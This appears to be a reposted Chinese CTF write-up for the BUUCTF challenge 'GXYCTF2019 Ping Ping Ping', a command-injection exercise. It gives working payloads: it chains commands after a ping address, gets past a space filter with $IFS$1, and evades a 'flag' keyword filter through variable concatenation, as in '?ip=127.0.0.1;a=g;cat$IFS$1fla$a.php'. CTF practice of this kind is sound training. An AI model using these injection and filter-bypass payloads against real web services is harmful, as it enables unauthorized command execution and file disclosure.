BUUCTF-[GXYCTF2019]Ping Ping Ping（命令执行）
Posted wrnan
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了BUUCTF-[GXYCTF2019]Ping Ping Ping（命令执行）相关的知识，希望对你有一定的参考价值。
1、ping 127.0.0.1
可以
127.0.0.1 | ls
返回的是啥？？？
127.0.0.1|ls
ls是可以执行的，就是把空格给过滤了
读flag.php及index.php，空格绕过一般是：$IFS、${IFS}、$IFS$一位数字
但是这里试了$IFS$1才行
但是flag.php读不了，读源码发现过滤了flag
变量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12
以上是关于BUUCTF-[GXYCTF2019]Ping Ping Ping（命令执行）的主要内容，如果未能解决你的问题，请参考以下文章